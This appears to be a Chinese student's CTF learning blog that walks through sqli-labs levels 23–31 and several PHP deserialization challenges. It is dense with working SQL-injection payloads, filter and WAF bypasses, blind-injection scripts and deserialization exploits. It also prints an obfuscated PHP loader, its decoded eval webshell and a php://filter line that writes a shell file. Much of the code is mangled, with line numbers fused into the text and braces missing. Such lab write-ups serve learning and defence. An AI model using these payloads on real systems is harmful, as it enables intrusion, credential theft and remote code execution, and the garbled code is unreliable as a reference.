截断后续内容：空字符 %00 让后端忽略原查询中可能存在的其他条件（如 LIMIT 1 或 AND 子句）。
绕过闭合引号：如果原查询的闭合引号在空字符后被截断，可能避免语法错误。
最后payload：
1 ?id=' union select 1,2,group_concat(username,' :',password) from users;%00
less 24 二次注入
二次注入
看别的大佬博客 在注册新用户中注册已有的用户名会提示不行，但是username没有被过滤，可从username下手。
我们先注册一个账号名叫admin’#。可以看到我们成功将有污染的数据写入数据库。单引号是为了和之后密码修的用户名的单引号进行闭合，#是为了注释后面的数据。
之后也用户名admin’#和密码是123456登录，进入修改密码页面。原始密码输入123456，新密码我输入的是111111，可以看到密码修改成功。
当我们数据库查看的时候发现修改的是管理员的密码。而不是我们的注册账户的密码。
我的总结理解是在注册新用户时把有污染的数据写入数据库，当再修改admin’#时会直接把admin’#拼入修改的查询语句，而注释掉了原来验证原账号密码的部分
原语句：
1 $sql = "UPDATE users SET PASSWORD='$pass ' where username='$username ' and password='$curr_pass ' "
当登录admin’#并点修改密码时会出现
1 $sql = "UPDATE users SET PASSWORD='1234' where username='admin'#' and password='$curr_pass ' "
这样就会变成修改admin的密码而不是admin’#的，并且会将后面验证admin密码的部分注释掉。
less-25 字符过滤绕过 由题目可知道过滤了or和and，大小写没用。
1 2 3 4 5 6 function blacklist ($id $id = preg_replace ('/or/i' ,"" , $id ); $id = preg_replace ('/AND/i' ,"" , $id ); return $id ;
i表示不敏感大小写，这样的话想用报错注入就要进行绕过了
也有双写绕过
1 2 3 4 5 6 7 8 9 10 输入or and
当然可以直接用联合注入法：
1 2 3 4 5 6 ?id=' union select 1,2,group_concat(table_name) from infoorrmation_schema.tables where table_schema='security' --+
最后payload
1 2 3 ?id =' union select 1 ,2 ,group_concat(id ,username,'!',passwoorrd) from users
less-25a 要求使用盲注，而且像上题一样过滤or和and，
1 ?id= -1 union select 1 ,2 ,3
题目可以直接联合注入
1 ?id= -1 union select 1 ,2 ,group_concat(id,username,passwoorrd) from users
但是本意应该是让练习盲注的，所以修改了一下以前的脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 import requests import time ",abcdefghijklmnopqrstuvwxyz0123456789_@.-" 1 "http://localhost/sqli-labs/Less-25a/?id=1 aandnd if(substr(({sql}),{position},1)='{char}',sleep({time}),1)--+" def inject (path ):if response.status_code == 200 and end - start > SLEEP_TIME:return True else :return False def extract_data (sql ):"" 0 while True :1 format (sql=sql, position=position, char="" , time=SLEEP_TIME))if res:break for char in ALPHABET:format (sql=sql, position=position, char=char, time=SLEEP_TIME))if res:break return s "database()" )print (database) "select group_concat(table_name) from infoorrmation_schema.tables where table_schema='%s'" % database)print (tables)"select group_concat(column_name) from infoorrmation_schema.columns where table_schema='security' aandnd table_name='users'" )print (columns)
less-26 1 2 3 4 5 6 7 8 $ id = preg_replace('/or/i' ,"" , $id ); //strip out OR (non case sensitive)$ id = preg_replace('/and/i' ,"" , $id ); //Strip out AND (non case sensitive)$ id = preg_replace('/[\/\*]/' ,"" , $id ); //strip out /*$ id = preg_replace('/[--]/' ,"" , $id ); //Strip out --$ id = preg_replace('/[#]/' ,"" , $id ); //Strip out $ id = preg_replace('/[\s]/' ,"" , $id ); //Strip out spaces$ id = preg_replace('/[\/\\\\]/' ,"" , $id ); //Strip out slashes$ sql="SELECT * FROM users WHERE id='$id ' LIMIT 0,1" ;
\s = 空格
注释可以用;%00
1 2 3 4 5 ?id= % 27 % 20 || % 20 extractvalue(1 ,concat(0x7e ,(select % 20 (concat(username,% 27 :% 27 ,passwoorrd))% 20 from % 20 (users)% 20 where (id= 1 ))));% 00 = '||extractvalue(1,concat(0x7e,(select(concat(username,' :',password))from(users)where(id=1)))); https://blog.csdn.net/2301_76913435/article/details/145601627
其中包含：双写or，;%00绕过注释符号
1 2 3 ?id= -1 ' || updatexml(1,concat(0x0a,(SELECT(group_concat(concat_ws(0x3a,username,passwoorrd))) FROM (security.users) WHERE (id = 1) )) ,1) || ' 1 '=' 1 / / www.cnblogs.com/ linfangnan/ p/ 13940107. html
其中包含：双写or，||’1’=’1’ 来闭合语句使得不用注释，security.users来确定是security下的users
less26a 网上博客是说用%a0来代替空格，但是我这环境好像解析不了，
1 ?id= ')||if(length(database())=8,1,0);%00
结果牛大b了，在后面27在同样过滤了空格的情况下用其它如%a0能正确解析,可能是我的关卡文件有问题；
less27 这题过滤对大小写没考虑，可以直接大小写绕过
1 2 3 4 5 6 7 8 9 10 11 12 13 $id = preg_replace ('/[\/\*]/' ,"" , $id ); $id = preg_replace ('/[--]/' ,"" , $id ); $id = preg_replace ('/[#]/' ,"" , $id ); $id = preg_replace ('/[ +]/' ,"" , $id ); $id = preg_replace ('/select/m' ,"" , $id ); $id = preg_replace ('/[ +]/' ,"" , $id ); $id = preg_replace ('/union/s' ,"" , $id ); $id = preg_replace ('/select/s' ,"" , $id ); $id = preg_replace ('/UNION/s' ,"" , $id ); $id = preg_replace ('/SELECT/s' ,"" , $id ); $id = preg_replace ('/Union/s' ,"" , $id ); $id = preg_replace ('/Select/s' ,"" , $id ); return $id ;
payload:
1 2 3 4 ?id=0'%0AunIOn%0ASeleCT%0A1,2,3;%00
less27a 依旧没用过滤大小写，区别是没用报错回显，不能用报错注入。
1 2 3 4 ?id=11111 "uNion%0AselecT%0A1 ,2,3;%00 ?id=11111" uNion%0AselecT%0A1 ,database(),group_concat(table_name)from%0AinfoRmation_schema .tables%0Awhere%0Atable_schema ='security' ;%00 11111 "uNion%0AselecT%0A1 ,database(),group_concat(column_name)from%0AinfoRmation_schema .columns%0Awhere%0Atable_name ='users'%0Aand%0Atable_schema ='security';%00 ?id=11111" uNion%0AselecT%0A1 ,database(),group_concat(id,username,password)from%0Ausers ;%00
less28 测试出闭合点
然后看一眼源码的过滤
1 2 3 4 5 6 7 8 $id = preg_replace ('/[\/\*]/' ,"" , $id ); $id = preg_replace ('/[--]/' ,"" , $id ); $id = preg_replace ('/[#]/' ,"" , $id ); $id = preg_replace ('/[ +]/' ,"" , $id ); $id = preg_replace ('/[ +]/' ,"" , $id ); $id = preg_replace ('/union\s+select/i' ,"" , $id ); return $id ;
这辉大小写绕过就没用了，
1 ?id=0')%0Auunion%0Aselectnion%0Aselect%0A1,2,3;%00
有点奇葩，但确实能用
1 2 3 ?id= 0 ')%0Auunion%0Aselectnion%0Aselect%0A1,database(),group_concat(table_name)from%0Ainformation_schema.tables%0Awhere%0Atable_schema=' security';%00 ?id=0' )% 0 Auunion% 0 Aselectnion% 0 Aselect% 0 A1,database(),group_concat(column_name)from % 0 Ainformation_schema.columns% 0 Awhere% 0 Atable_schema= 'security' % 0 Aand% 0 Atable_name= 'users' ;% 00 = 0 ')%0Auunion%0Aselectnion%0Aselect%0A1,database(),group_concat(id,username,password)from%0Asecurity.users;%00
less28a 看一眼源码
1 2 3 4 5 6 7 8 $id = preg_replace ('/union\s+select/i' ,"" , $id ); return $id ;
好像只对union select 进行了过滤
payload
1 ?id=0 ')ununion selection select 1 ,2 ,3
比上关更简单，只过了union select，其它都没过滤
less29 waf过滤
从29到31关，要用到启动tomcat作为过滤服务器，确定参数安全后才交给apache服务器。只需将sqli-labs文件夹下的tomcat-files.zip解压到tomcat/webapp/ROOT目录下，启动tomcat/bin下的startup.bat即可(关闭为shutdown.bat)。https://blog.csdn.net/2301_76913435/article/details/145601627
https://blog.csdn.net/kukudeshuo/article/details/114763700
我没有跟博客去配置tomcat，但是直接用login.php来进行测试
那就是输入
1 2 /sqli-labs/Less-29/login.php?id=1 //回显正常
那大概就是waf成功阻止了此次注入
由于tomcat和apache解析参数的顺序不同，当注入两个参数?id=1&id=2，此时tomcat解析的是第一个参数，而apache解析的是第二个参数并且SQL语句也是在apache服务器上执行的，由此绕过tomcat的检测。https://blog.csdn.net/2301_76913435/article/details/145601627
1 2 3 sqli- labs/ Less-29 / login.php? id = 1 & id = 2 '--+ id = 2 的内容
直接构造
1 /sqli-labs/Less-29 /login.php?id =1 &id =0 ' union select 1 ,database(),group_concat(id ,username,password)from security.users
成功
notice Web应用程序防火墙（Web Application Firewall，WAF）是一种用于保护Web应用程序的安全设备。Web应用程序是指通过Web浏览器或其他Web客户端访问的应用程序。WAF的目的是保护Web应用程序免受黑客、网络攻击和数据泄漏等安全威胁的攻击。
less30 和上一关一样有waf，但好像没有id的话就不会有回显
1 2 3 /sqli-labs/Less-30 /login .php/?id=3 &id=0 "union select 1,2,3--+union select 1 ,database (),group_concat(id,username,password )from security .users
看了源码还差点找不到注入点😥….
less31 waf
1 2 /sqli-labs/Less-31 /login .php/?id=1 &id=0 ") union select 1,2,3--+union select 1 ,database (),group_concat(id,username,password )from security .users
结束 按原计划，sql-labs的学习就先到这，下面sql注入的学习该去做ctf真题了，不得不说sqli-labs的帮助真挺大，能打好sql注入的原理和基础
2024下半年长城杯回顾 在机房上从新回顾3个月前的长城杯web题wp，发现已经能看懂不少了
追忆1 hello_web 还记得当初做这题就是在那干瞪眼，用dirsearch和查看前端认出了个hackme.php。https://ya1orin.github.io/posts/cbe4da55.html
那大概就是双写../进行绕过来目录穿越访问到tips和hackme(主要是要学一下面对未知环境时该怎么办，现在还没有一套渗透流程，起手fuzz都fuzz不明白)
然后能在tips看到phpinfo和过滤内容
1 2 3 4 5 <?php highlight_file (__FILE__ );$lJbGIY ="eQOLlCmTYhVJUnRAobPSvjrFzWZycHXfdaukqGgwNptIBKiDsxME" ;$OlWYMv ="zqBZkOuwUaTKFXRfLgmvchbipYdNyAGsIWVEQnxjDPoHStCMJrel" ;$lapUCm =urldecode ("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A" );$YwzIst =$lapUCm {3 }.$lapUCm {6 }.$lapUCm {33 }.$lapUCm {30 };$OxirhK =$lapUCm {33 }.$lapUCm {10 }.$lapUCm {24 }.$lapUCm {10 }.$lapUCm {24 };$YpAUWC =$OxirhK {0 }.$lapUCm {18 }.$lapUCm {3 }.$OxirhK {0 }.$OxirhK {1 }.$lapUCm {24 };$rVkKjU =$lapUCm {7 }.$lapUCm {13 };$YwzIst .=$lapUCm {22 }.$lapUCm {36 }.$lapUCm {29 }.$lapUCm {26 }.$lapUCm {30 }.$lapUCm {32 }.$lapUCm {35 }.$lapUCm {26 }.$lapUCm {30 };eval ($YwzIst ("JHVXY2RhQT0iZVFPTGxDbVRZaFZKVW5SQW9iUFN2anJGeldaeWNIWGZkYXVrcUdnd05wdElCS2lEc3hNRXpxQlprT3V3VWFUS0ZYUmZMZ212Y2hiaXBZZE55QUdzSVdWRVFueGpEUG9IU3RDTUpyZWxtTTlqV0FmeHFuVDJVWWpMS2k5cXcxREZZTkloZ1lSc0RoVVZCd0VYR3ZFN0hNOCtPeD09IjtldmFsKCc/PicuJFl3eklzdCgkT3hpcmhLKCRZcEFVV0MoJHVXY2RhQSwkclZrS2pVKjIpLCRZcEFVV0MoJHVXY2RhQSwkclZrS2pVLCRyVmtLalUpLCRZcEFVV0MoJHVXY2RhQSwwLCRyVmtLalUpKSkpOw==" ));?>
看到大佬们说给反混淆一下就行了，我搞了两节课大约一个半小时才搞明白😫…..
这是我搞的：
1 2 3 4 5 6 7 8 9 10 11 12 13 <?php highlight_file (__FILE__ );$lJbGIY ="eQOLlCmTYhVJUnRAobPSvjrFzWZycHXfdaukqGgwNptIBKiDsxME" ;$OlWYMv ="zqBZkOuwUaTKFXRfLgmvchbipYdNyAGsIWVEQnxjDPoHStCMJrel" ;$lapUCm =urldecode ("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A" );$YwzIst =$lapUCm {3 }.$lapUCm {6 }.$lapUCm {33 }.$lapUCm {30 };$OxirhK =$lapUCm {33 }.$lapUCm {10 }.$lapUCm {24 }.$lapUCm {10 }.$lapUCm {24 };$YpAUWC =$OxirhK {0 }.$lapUCm {18 }.$lapUCm {3 }.$OxirhK {0 }.$OxirhK {1 }.$lapUCm {24 };$rVkKjU =$lapUCm {7 }.$lapUCm {13 };$YwzIst .=$lapUCm {22 }.$lapUCm {36 }.$lapUCm {29 }.$lapUCm {26 }.$lapUCm {30 }.$lapUCm {32 }.$lapUCm {35 }.$lapUCm {26 }.$lapUCm {30 };$uWcdaA ="eQOLlCmTYhVJUnRAobPSvjrFzWZycHXfdaukqGgwNptIBKiDsxMEzqBZkOuwUaTKFXRfLgmvchbipYdNyAGsIWVEQnxjDPoHStCMJrelmM9jWAfxqnT2UYjLKi9qw1DFYNIhgYRsDhUVBwEXGvE7HM8+Ox==" ;eval ('?>' .$YwzIst ($OxirhK ($YpAUWC ($uWcdaA ,$rVkKjU *2 ),$YpAUWC ($uWcdaA ,$rVkKjU ,$rVkKjU ),$YpAUWC ($uWcdaA ,0 ,$rVkKjU ))));echo ('?>' .$YwzIst ($OxirhK ($YpAUWC ($uWcdaA ,$rVkKjU *2 ),$YpAUWC ($uWcdaA ,$rVkKjU ,$rVkKjU ),$YpAUWC ($uWcdaA ,0 ,$rVkKjU ))));
其中一些变量扔厨子也煮不出来，看佬们wp也是不动它们，
即使蠢如猪豚我也要在ctf走下去口牙！我就是这样的哈基尸啊
最后运行结果好像输出一大串css还是html的东西，但是最后有一句话木马，get到密码了
1 </code>?> <?php @eval ($_POST ['cmd_66.99' ]); ?>
最后是连木马，但是注意要用蚁剑的UserFilter插件，这个是针对php7版本的绕过插件https://hcnote.cn/2024/12/25/12056.html https://www.cnblogs.com/DumpInfou/p/18023278 https://ya1orin.github.io/posts/cbe4da55.html
linux下搜索flag字符
1 2 3 find / -name flag -type f 2 >/dev/nullflag ’
[CISCN 2023 华北]ez_date 源码：
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 <?php error_reporting (0 );highlight_file (__FILE__ );class date public $a ;public $b ;public $file ;public function __wakeup ( {if (is_array ($this ->a)||is_array ($this ->b)){die ('no array' );if ( ($this ->a !== $this ->b) && (md5 ($this ->a) === md5 ($this ->b)) && (sha1 ($this ->a)=== sha1 ($this ->b)) ){$content =date ($this ->file);$uuid =uniqid ().'.txt' ;file_put_contents ($uuid ,$content );$data =preg_replace ('/((\s)*(\n)+(\s)*)/i' ,'' ,file_get_contents ($uuid ));echo file_get_contents ($data );else {die ();unserialize (base64_decode ($_GET ['code' ]));
审计：
1 2 if (is_array ($this ->a)||is_array ($this ->b)){die ('no array' );
不让用数组绕过
1 if ( ($this ->a !== $this ->b) && (md5 ($this ->a) === md5 ($this ->b)) && (sha1 ($this ->a)=== sha1 ($this ->b)) )
要求a和b弱比较不同，&&a和b的md5和sha1值相同
分析：https://www.cnblogs.com/yuspace/p/18114039
重要的来了
1 2 echo file_get_contents ($data );
1 2 $data =preg_replace ('/((\s)*(\n)+(\s)*)/i' ,'' ,file_get_contents ($uuid ));
最后payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 <?php class date public $a ;public $b ;public $file ;public function __wakeup ( {if (is_array ($this ->a)||is_array ($this ->b)){die ('no array' );if ( ($this ->a !== $this ->b) && (md5 ($this ->a) === md5 ($this ->b)) && (sha1 ($this ->a)=== sha1 ($this ->b)) ){$content =date ($this ->file);$uuid =uniqid ().'.txt' ;file_put_contents ($uuid ,$content );$data =preg_replace ('/((\s)*(\n)+(\s)*)/i' ,'' ,file_get_contents ($uuid ));echo file_get_contents ($data );else {die ();$a =new date ();$a ->a=1 ;$a ->b='1' ;$a ->file="/f\l\a\g" ;echo base64_encode (serialize ($a ));
by https://www.cnblogs.com/yuspace/p/18114039
值同类不同 $this->a !== $this->b：
$this->a 是整数 1，$this->b 是字符串 ‘1’。在 PHP 中，它们的值虽然相等，但类型不同，因此 !== 比较结果为 true。
md5($this->a) === md5($this->b)：
当你将整数 1 传递给 md5() 函数时，PHP 会将其转换为字符串 ‘1’，因此 md5(1) 和 md5(‘1’) 的结果是相同的。
sha1($this->a) === sha1($this->b)：
同样，sha1() 函数也会将整数 1 转换为字符串 ‘1’，因此 sha1(1) 和 sha1(‘1’) 的结果也是相同的。
[SWPUCTF 2021 新生赛]ez_unserialize 没想到我也有能秒反序列化的一天，还以为永远入不了门了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 [13:31:24] Starting:
直接访问flag.php无果，
notice robots大概作用应该是用来告诉搜索引擎不能爬取哪些页面，没有强制性作用
在robots里发现/cl45s.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 <?php error_reporting (0 );show_source ("cl45s.php" );class wllm public $admin ;public $passwd ;public function __construct ($this ->admin ="user" ;$this ->passwd = "123456" ;public function __destruct (if ($this ->admin === "admin" && $this ->passwd === "ctf" ){include ("flag.php" );echo $flag ;else {echo $this ->admin;echo $this ->passwd;echo "Just a bit more!" ;$p = $_GET ['p' ];unserialize ($p );
写了个payload，一次成功
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 <?php error_reporting (0 );show_source ("cl45s.php" );class wllm public $admin ;public $passwd ;public function __construct ($this ->admin ="user" ;$this ->passwd = "123456" ;public function __destruct (if ($this ->admin === "admin" && $this ->passwd === "ctf" ){include ("flag.php" );echo $flag ;else {echo $this ->admin;echo $this ->passwd;echo "Just a bit more!" ;$p = $_GET ['p' ];unserialize ($p );$a =new wllm ();$a ->admin="admin" ;$a ->passwd="ctf" ;echo serialize ($a );?>
直接get传得到flag
1 /?p=O:4:"wllm":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:3:"ctf";}
[ZJCTF 2019]NiZhuanSiWei 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 <?php $text = $_GET ["text" ];$file = $_GET ["file" ];$password = $_GET ["password" ];if (isset ($text )&&(file_get_contents ($text ,'r' )==="welcome to the zjctf" )){echo "<br><h1>" .file_get_contents ($text ,'r' )."</h1></br>" ;if (preg_match ("/flag/" ,$file )){echo "Not now!" ;exit (); else {include ($file ); $password = unserialize ($password );echo $password ;else {highlight_file (__FILE__ );?>
没看懂为啥get传好像传不进去
https://www.nssctf.cn/note/set/3017
原来是这里
1 (file_get_contents ($text ,'r' )==="welcome to the zjctf" )
file_get_contents() file_get_contents() 函数在 PHP 中用于读取文件内容或获取远程资源的内容。
所以像这样传入字符串是没用的
1 ?text=welcome to the zjctf
法一：
通过data://伪协议，让字符串传递进去。这里传递纯文本，payload：text=data://text/plain,welcome to the zjctf
法二:
我是选法一了，毕竟直接在url上就能完成
1 2 3 4 5 6 7 8 <?php echo file_get_contents ('data://text/plain;base64,SSBsb3ZlIFBIUAo=' );?>
这样就能传入welcome to the zjctf了
接下来
1 2 3 if (preg_match ("/flag/" ,$file )){echo "Not now!" ;exit ();
检查$file变量中是否包含字符串”flag”。
preg_match(“/flag/“,$file)：使用正则表达式匹配$file中是否包含”flag”。
如果匹配到”flag”，输出”Not now!”并终止脚本执行。
由于并不是过滤字符，没法用双写绕过了
这样先看下面，有提示一个useless.php
根据反序列化代码我们可以推测题目想让我们构造反序列化POC触发useless.php里面的类，
1 http://n ode4.anna.nssctf.cn:28681 /?text=data:// text/plain,welcome%2 0to%2 0the%20zjctf &file=php:// filter/read =convert.base64-encode/resource=useless.php
得到useless.php得内容
1 2 3 4 5 6 7 8 9 10 11 12 13 <?php class Flag public $file ; public function __tostring (if (isset ($this ->file)){ echo file_get_contents ($this ->file); echo "<br>" ;return ("U R SO CLOSE !///COME ON PLZ" );?>
那么最后就有:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 <?php $text = $_GET ["text" ];$file = $_GET ["file" ];$password = $_GET ["password" ];if (isset ($text )&&(file_get_contents ($text ,'r' )==="welcome to the zjctf" )){echo "<br><h1>" .file_get_contents ($text ,'r' )."</h1></br>" ;if (preg_match ("/flag/" ,$file )){echo "Not now!" ;exit (); else {include ($file ); $password = unserialize ($password );echo $password ;class Flag public $file ; public function __tostring (if (isset ($this ->file)){ echo file_get_contents ($this ->file); echo "<br>" ;return ("U R SO CLOSE !///COME ON PLZ" );else {highlight_file (__FILE__ );$a =new Flag ;$a ->file=flag.php;echo serialize ($a );?>
最后poc出了password的payload，
1 O:4:"Flag":1:{s:4:"file";s:7:"flagphp";}
但是传进去后只回显了个
1 2 3 4 5 6 welcome to the zjctfit
最后去看别人的wp才知道flag就包含在这个页面下，按f12就能看到了😅
1 ?text =data://text /plain,welcome%20to %20the %20zjctf &file=useless.php&password=O:4 :"Flag" :1 :{s:4 :"file" ;s:8 :"flag.php" ;}
总结 这题我就只会最后构造反序列化的poc了
notice01 KIMI:逐部分解析 include:
php://filter 是 PHP 中一种独特的伪协议，它允许开发者在数据读取或写入过程中应用过滤器，从而实现对数据的处理。它是一种元封装器，设计用于数据流打开时的筛选过滤应用。这对于一体式（all-in-one）的文件函数非常有用，例如 readfile()、file() 和 file_get_contents()，在数据流内容读取之前没有机会应用其他过滤器。
php://filter 协议的一般语法为：
过滤器分类
示例
1 2 echo file_get_contents ("php://filter/convert.base64-encode/resource=index.php" );
1 2 3 file_put_contents ("php://filter/write=convert.base64-decode/resource=shell.php" , base64_encode ("<?php phpinfo(); ?>" ));<?php phpinfo (); ?> 代码。
GDOUCTF_反方向的钟 开篇源码，但是看不懂
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 <?php error_reporting (0 );highlight_file (__FILE__ );class teacher public $name ;public $rank ;private $salary ;public function __construct ($name ,$rank ,$salary = 10000 $this ->name = $name ;$this ->rank = $rank ;$this ->salary = $salary ;class classroom public $name ;public $leader ;public function __construct ($name ,$leader $this ->name = $name ;$this ->leader = $leader ;public function hahaha (if ($this ->name != 'one class' or $this ->leader->name != 'ing' or $this ->leader->rank !='department' ){return False;else {return True;class school public $department ;public $headmaster ;public function __construct ($department ,$ceo $this ->department = $department ;$this ->headmaster = $ceo ;public function IPO (if ($this ->headmaster == 'ong' ){echo "Pretty Good ! Ctfer!\n" ;echo new $_POST ['a' ]($_POST ['b' ]);public function __wakeup (if ($this ->department->hahaha ()) {$this ->IPO ();if (isset ($_GET ['d' ])){unserialize (base64_decode ($_GET ['d' ]));?>
看大佬wphttps://blog.csdn.net/weixin_73668856/article/details/134878471
先看看利用点：
应该是$_POST‘a’ ;
尝试构造链子school::IPO() -> school::__wakeup ->classroom::hahaha->teacher
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 <?php error_reporting (0 );highlight_file (__FILE__ );class teacher public $name ='ing' ;public $rank ='department' ;class classroom public $name ='one class' ;public $leader ;class school public $department ;public $headmaster ='ong' ;$a =new school ();$b =new classroom ();$c =new teacher ();$a ->department=$b ;$b ->leader=$c ;echo base64_encode (serialize ($a ));?>
不知道为啥我在原码后面直接构造死活输出不了
又试了一次，学到对了一种新的构造语法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 <?php error_reporting (0 );highlight_file (__FILE__ );class teacher public $name ;public $rank ;private $salary ;public function __construct ($name ,$rank ,$salary = 10000 $this ->name = $name ;$this ->rank = $rank ;$this ->salary = $salary ;class classroom public $name ;public $leader ;public function __construct ($name ,$leader $this ->name = $name ;$this ->leader = $leader ;public function hahaha (if ($this ->name != 'one class' or $this ->leader->name != 'ing' or $this ->leader->rank !='department' ){return False;else {return True;class school public $department ;public $headmaster ;public function __construct ($department ,$ceo $this ->department = $department ;$this ->headmaster = $ceo ;public function IPO (if ($this ->headmaster == 'ong' ){echo "Pretty Good ! Ctfer!\n" ;echo new $_POST ['a' ]($_POST ['b' ]);public function __wakea (if ($this ->department->hahaha ()) {$this ->IPO ();$a =new school (new classroom ('one class' ,new teacher ('ing' ,'department' )),'ong' );echo base64_encode (serialize ($a ));?>
用得到的payload传get的’d’
1 ?d =Tzo2OiJzY2hvb2wiOjI6e3M6MTA6ImRlcGFydG1lbnQiO086OToiY2xhc3Nyb29tIjoyOntzOjQ6Im5hbWUiO3M6OToib25lIGNsYXNzIjtzOjY6ImxlYWRlciI7Tzo3OiJ0ZWFjaGVyIjozOntzOjQ6Im5hbWUiO3M6MzoiaW5nIjtzOjQ6InJhbmsiO3M6MTA6ImRlcGFydG1lbnQiO3M6MTU6IgB0ZWFjaGVyAHNhbGFyeSI7aToxMDAwMDt9fXM6MTA6ImhlYWRtYXN0ZXIiO3M6Mzoib25nIjt9
此时由于
1 2 3 4 5 6 7 8 9 10 11 12 13 public function __wakeup (if ($this ->department->hahaha ()) {$this ->IPO ();public function IPO (if ($this ->headmaster == 'ong' ){echo "Pretty Good ! Ctfer!\n" ;echo new $_POST ['a' ]($_POST ['b' ]);
此时传入的post a和b就会拼接进
1 echo new $_POST ['a' ]($_POST ['b' ]);
试了一下上次的file_get_contents，不行，试想了下，直接拼进去会得到
1 2 3 echo new $_POST ['file_get_contents' ]($_POST ['b' ]);echo file_get_contents ("php://filter/convert.base64-encode/resource=index.php" );
这个这个new可能要意味着是类(class)的表达；
原生类 php原生类，应该指的是php内置有，不用定义的类
Error/Exception XSS
1 2 3 4 5 <?php $a = serialize (new Exception ("<script>alert(1)</script>" ));echo $a ;
SplFileObject 读文件
1 2 3 4 5 <?php $a = new SplFileObject ("flag.txt" );echo $a ;
DirectoryIterator 遍历目录
1 2 3 4 5 6 7 8 9 <?php $a = new DirectoryIterator ("." );foreach ($a as $b ) {echo $b ->getFilename () . "\n" ;
FilesystemIterator 遍历目录
1 2 3 4 5 6 7 8 9 <?php $a = new FilesystemIterator ("." );foreach ($a as $b ) {echo $b ->getFilename () . "\n" ;
盲注脚本编写 虽然以前做过一些盲注的题，也能根据需要改一下脚本，但是基本都是用网上wp或ai写的脚本，还没有自己写过脚本
[CISCN 2019华北Day2]Web1 先是一个输入框，
1 2 All You Want Is In Table 'flag' and the column is 'flag' of passage
抓包就是post一个id参数，根据数字来显示不同内容
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 import requests"" for i in range (1 ,100 ):'http://node4.anna.nssctf.cn:28599/index.php' "if((ascii(substr((select(flag)from(flag)),{},1))<64),1,2)" .format (i)"id" :sql}if "Hello" in re.text:for st in range (0 ,64 ):"if((ascii(substr((select(flag)from(flag)),{},1))={}),1,2)" .format (i,st)"id" :sql}if "Hello" in re.text:chr (st)print ("第%d个字符" %i)break else :for st in range (64 ,128 ):"if((ascii(substr((select(flag)from(flag)),{},1))={}),1,2)" .format (i,st)"id" :sql}if "Hello" in re.text:chr (st)print ("第%d个字符" %i)break print (flag)
在写的时候遇到的问题: requests语句
1 2 3 4 5 6 7 8 9 requests.(请求方式，get或post)if "Hello" in re.text:"id" :sql}
for st in (1,128):
第一次脚本跑的很慢，而且很容易与服务器断连，看别人wp有用二分法的，自己整了个二分法的版本出来
这时又遇到了另一个问题
1 re =requests.post(url,data =data .timeout=10)
然后就去掉了timeout，但还是很容易断连
1 2 3 4 5 print ("第%d个字符" %i )32 个字符2b47 -41ae-b4dc-5
要是断连的话直接改一下这个起始字符就能继续爆了
总结： fuzz不会，没有清晰的思路的话真的很费劲，要多学学fuzz思路
强网杯 2019 随便注 上次做这题还是两个月前，好像也是这题坚定了我打基础的原因，虽然现在看还是得看大佬们的wp
尝试
回显
return preg_match(“/select|update|delete|drop|insert|where|./i”,$inject);
尝试
1 1 'or extractvalue(1 ,concat('!',database())) #
成功回显
好像能用报错，但是select被过滤了呀🤡
尝试了
只能看wp了吗https://zhuanlan.zhihu.com/p/545713669
使用堆叠注入，查看数据库
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 1 ';show databases;# 回显： array(2) { [0]=> string(1) "1" [1]=> string(7) "hahahah" } array(1) { [0]=> string(11) "ctftraining" } array(1) { [0]=> string(18) "information_schema" } array(1) { [0]=> string(5) "mysql" } array(1) { [0]=> string(18) "performance_schema" } array(1) { [0]=> string(9) "supersqli" } array(1) { [0]=> string(4) "test" }
然后是查看表名
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 1 ';show tables from supersqli;# 回显： array(2) { [0]=> string(1) "1" [1]=> string(7) "hahahah" } array(1) { [0]=> string(16) "1919810931114514" } array(1) { [0]=> string(5) "words" }
查看字段
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 1 ';show colums from "1919810931114514";# 没法回显 改为 1' ;show columns from '1919810931114514' ;#1 ';show columns from `1919810931114514`;# 成功回显: array(2) { [0]=> string(1) "1" [1]=> string(7) "hahahah" } array(6) { [0]=> string(4) "flag" [1]=> string(12) "varchar(100)" [2]=> string(2) "NO" [3]=> string(0) "" [4]=> NULL [5]=> string(0) "" }
注意，如果tableName是纯数字，需要用包裹，比如1';desc 1919810931114514`;#
